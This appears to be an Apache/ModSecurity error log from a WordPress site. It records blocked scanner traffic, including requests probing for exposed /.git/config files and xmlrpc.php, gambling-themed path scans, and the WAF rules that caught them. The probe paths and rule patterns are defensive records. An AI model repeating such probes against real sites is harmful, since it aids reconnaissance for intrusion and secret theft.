[Sat Feb 14 16:26:12.029652 2026] [:error] [pid 36056:tid 36071] [client 147.135.213.32:59244] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZAxpLv3wQbSPS1vpOjsZgAAAA0"]
[Sat Feb 14 16:26:14.046008 2026] [:error] [pid 50338:tid 50350] [client 147.135.213.32:59260] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZAxpv5Rq0TzbiQnlmwPpgAAAcc"]
[Sat Feb 14 16:26:16.045004 2026] [:error] [pid 21195:tid 21242] [client 147.135.213.32:59266] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZAxqN_2sARdLQ6dpsWyjQAAAEs"]
[Sat Feb 14 16:26:17.909449 2026] [:error] [pid 50338:tid 50358] [client 147.135.213.32:53828] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZAxqf5Rq0TzbiQnlmwPqgAAAc8"]
[Sat Feb 14 16:26:19.936425 2026] [:error] [pid 50307:tid 50311] [client 147.135.213.32:53838] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZAxq0LGcT4ezo2feJW2fwAAAUI"]
[Sat Feb 14 16:26:21.948763 2026] [:error] [pid 35135:tid 35140] [client 147.135.213.32:53840] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZAxrYkSccJZYMDP04wQYAAAAQI"]
[Sat Feb 14 16:26:23.970405 2026] [:error] [pid 35193:tid 35223] [client 147.135.213.32:53850] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZAxr87okn8Vvg54roS5vwAAAlg"]
[Sat Feb 14 16:26:25.817145 2026] [:error] [pid 63325:tid 63343] [client 147.135.213.32:53862] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZAxsQGMleU5keYIEc556gAAAI4"]
[Sat Feb 14 16:26:27.841782 2026] [:error] [pid 35135:tid 35149] [client 147.135.213.32:36828] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZAxs4kSccJZYMDP04wQZwAAAQs"]
[Sat Feb 14 16:26:29.840402 2026] [:error] [pid 21195:tid 21248] [client 147.135.213.32:36838] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZAxtd_2sARdLQ6dpsWymQAAAFE"]
[Sat Feb 14 16:26:31.843955 2026] [:error] [pid 36219:tid 36271] [client 147.135.213.32:36846] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZAxt5e-m2OpEy0FNjgo5AAAA5c"]
[Sat Feb 14 16:26:33.838556 2026] [:error] [pid 35135:tid 35156] [client 147.135.213.32:36858] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZAxuYkSccJZYMDP04wQcAAAARI"]
[Sat Feb 14 16:26:35.826659 2026] [:error] [pid 50339:tid 50384] [client 147.135.213.32:36870] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZAxu8I6TclQ9GOl2Y1FBAAAAg4"]
[Sat Feb 14 16:26:37.826056 2026] [:error] [pid 63325:tid 63338] [client 147.135.213.32:51188] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZAxvQGMleU5keYIEc558wAAAIk"]
[Sat Feb 14 16:26:39.823666 2026] [:error] [pid 36219:tid 36270] [client 147.135.213.32:51190] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZAxv5e-m2OpEy0FNjgo8wAAA5Y"]
[Sat Feb 14 16:26:41.817945 2026] [:error] [pid 50339:tid 50387] [client 147.135.213.32:51202] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZAxwcI6TclQ9GOl2Y1FDQAAAhE"]
[Sat Feb 14 16:26:43.875447 2026] [:error] [pid 35135:tid 35156] [client 147.135.213.32:51216] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZAxw4kSccJZYMDP04wQeQAAARI"]
[Sat Feb 14 16:26:45.772988 2026] [:error] [pid 50339:tid 50386] [client 147.135.213.32:51220] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZAxxcI6TclQ9GOl2Y1FFQAAAhA"]
[Sat Feb 14 16:47:09.744318 2026] [:error] [pid 50400:tid 50405] [client 51.159.214.31:47486] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZA2jScxH0q9lDER15MClAAAAwA"]
[Sat Feb 14 16:50:08.362430 2026] [:error] [pid 35135:tid 35141] [client 111.172.249.49:52222] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZA3QIkSccJZYMDP04wVAQAAAQM"]
[Sat Feb 14 17:46:54.562143 2026] [:error] [pid 56718:tid 56727] [client 139.162.217.122:39112] [client 139.162.217.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.162.217.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBEjgt_sRAfjbGa_J7ABAAAAkQ"]
[Sat Feb 14 18:25:43.735420 2026] [autoindex:error] [pid 8275:tid 8322] [client 207.180.241.56:53731] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 14 18:43:35.358266 2026] [:error] [pid 35135:tid 35157] [client 37.59.109.228:51516] [client 37.59.109.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.59.109.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBR14kSccJZYMDP04wtOwAAARM"]
[Sat Feb 14 18:53:23.757726 2026] [:error] [pid 36219:tid 36268] [client 142.93.71.232:54652] [client 142.93.71.232] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aZBUI5e-m2OpEy0FNjhFBAAAA5Q"]
[Sat Feb 14 18:53:26.759446 2026] [:error] [pid 8216:tid 8251] [client 142.93.71.232:48636] [client 142.93.71.232] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aZBUJs07BE0W_1vUEj9HegAAAMY"]
[Sat Feb 14 19:34:17.379800 2026] [:error] [pid 35135:tid 35160] [client 45.127.5.80:41522] [client 45.127.5.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.127.5.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBduYkSccJZYMDP04w7SAAAARY"]
[Sat Feb 14 19:50:48.536246 2026] [:error] [pid 50339:tid 50386] [client 8.130.142.207:60694] [client 8.130.142.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.130.142.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBhmMI6TclQ9GOl2Y1qLgAAAhA"]
[Sat Feb 14 19:50:55.228636 2026] [:error] [pid 56720:tid 56784] [client 103.218.123.187:41934] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBhn3jg3vzUoXJ19eAcnQAAA8c"]
[Sat Feb 14 19:51:15.492448 2026] [:error] [pid 8274:tid 8302] [client 20.57.128.168:44330] [client 20.57.128.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.57.128.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBhs7UW6xok4sn7YUnFZQAAAVY"]
[Sat Feb 14 19:51:46.829787 2026] [:error] [pid 56720:tid 56800] [client 36.129.24.60:48426] [client 36.129.24.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.129.24.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBh0njg3vzUoXJ19eAcxgAAA9c"]
[Sat Feb 14 19:52:44.100325 2026] [:error] [pid 63327:tid 63364] [client 162.0.235.223:50474] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBiDC9btvSz88ToHa_gPgAAAYg"]
[Sat Feb 14 19:53:17.262955 2026] [:error] [pid 50339:tid 50378] [client 198.46.253.39:40238] [client 198.46.253.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.46.253.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBiLcI6TclQ9GOl2Y1qcgAAAgg"]
[Sat Feb 14 19:53:38.125394 2026] [:error] [pid 26150:tid 26171] [client 47.242.2.139:58152] [client 47.242.2.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.242.2.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBiQqqmPH3D5QJaUSHGUAAAAJE"]
[Sat Feb 14 20:32:51.102562 2026] [:error] [pid 39454:tid 39462] [client 192.206.141.63:47802] [client 192.206.141.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.206.141.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZBrc4f01uYc0DFDtzvS9AAAAcM"]
[Sat Feb 14 21:34:33.155940 2026] [:error] [pid 26150:tid 26166] [client 43.153.58.28:56818] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZB56aqmPH3D5QJaUSHYwgAAAIw"]
[Sat Feb 14 22:22:18.807693 2026] [:error] [pid 53920:tid 53950] [client 198.186.130.79:52942] [client 198.186.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.186.130.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCFGirmNDNQ_-GD91KOpAAAAUE"]
[Sat Feb 14 22:31:29.838634 2026] [:error] [pid 11739:tid 11786] [client 142.93.71.232:38594] [client 142.93.71.232] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aZCHQcrdnWqTfO2mG8O-ogAAAxI"]
[Sat Feb 14 22:31:34.969787 2026] [:error] [pid 11801:tid 11882] [client 142.93.71.232:35532] [client 142.93.71.232] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aZCHRjP96sFUu5UWagzN2AAAA5c"]
[Sat Feb 14 23:14:52.197498 2026] [:error] [pid 7462:tid 7470] [client 43.140.247.223:51078] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZCRbG2K0eQbQ6nA1wPCWQAAAMU"]
[Sat Feb 14 23:24:05.600478 2026] [:error] [pid 11800:tid 11833] [client 185.110.146.106:40530] [client 185.110.146.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.110.146.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCTlXFcWMbg_UEt9SEhPgAAA0g"]
[Sun Feb 15 00:18:08.880227 2026] [:error] [pid 31034:tid 31056] [client 97.74.92.57:39838] [client 97.74.92.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.74.92.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCgQGiCz8O3dMzY9qNLoAAAANQ"]
[Sun Feb 15 00:18:11.777179 2026] [:error] [pid 15954:tid 15984] [client 162.0.235.223:54232] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCgQ-2YplA3pz7MAbV7wQAAAcE"]
[Sun Feb 15 00:18:57.430991 2026] [:error] [pid 11800:tid 11860] [client 185.199.223.27:53250] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCgcXFcWMbg_UEt9SEpjgAAA1c"]
[Sun Feb 15 00:19:49.277966 2026] [:error] [pid 15954:tid 16000] [client 185.103.243.40:46036] [client 185.103.243.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.103.243.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCgpe2YplA3pz7MAbV8ewAAAdA"]
[Sun Feb 15 00:19:57.836998 2026] [:error] [pid 31034:tid 31049] [client 34.39.68.128:51170] [client 34.39.68.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.39.68.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCgrWiCz8O3dMzY9qNLyQAAAM0"]
[Sun Feb 15 00:20:27.062403 2026] [:error] [pid 11800:tid 11859] [client 79.98.29.13:40616] [client 79.98.29.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.98.29.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCgy3FcWMbg_UEt9SEpygAAA1Y"]
[Sun Feb 15 01:22:58.116799 2026] [:error] [pid 53980:tid 54028] [client 51.89.3.141:47102] [client 51.89.3.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.89.3.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZCvctposYBT7xU8oxTxBAAAAtI"]
[Sun Feb 15 02:25:31.624686 2026] [autoindex:error] [pid 27826:tid 27850] [client 5.45.77.43:52190] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 15 02:25:44.645305 2026] [autoindex:error] [pid 43945:tid 44121] [client 5.45.77.43:54756] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 15 02:25:45.989708 2026] [autoindex:error] [pid 28636:tid 28661] [client 5.45.77.43:55046] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 15 02:25:46.699822 2026] [autoindex:error] [pid 15954:tid 15995] [client 5.45.77.43:55189] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 15 02:25:47.815324 2026] [autoindex:error] [pid 53980:tid 54015] [client 5.45.77.43:55377] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 15 03:16:37.872891 2026] [:error] [pid 18113:tid 18136] [client 37.27.108.93:59154] [client 37.27.108.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.27.108.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDKFbtXQ3sVVSAsCgi8uwAAAlQ"]
[Sun Feb 15 04:22:02.953721 2026] [:error] [pid 56031:tid 56107] [client 178.254.39.80:38430] [client 178.254.39.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.254.39.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDZarUw4jnaBpex0N68aAAAAlI"]
[Sun Feb 15 04:25:34.171988 2026] [:error] [pid 55942:tid 55959] [client 103.218.123.187:58624] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZDaPuHs6SpnDFDOMlLdAgAAAQ8"]
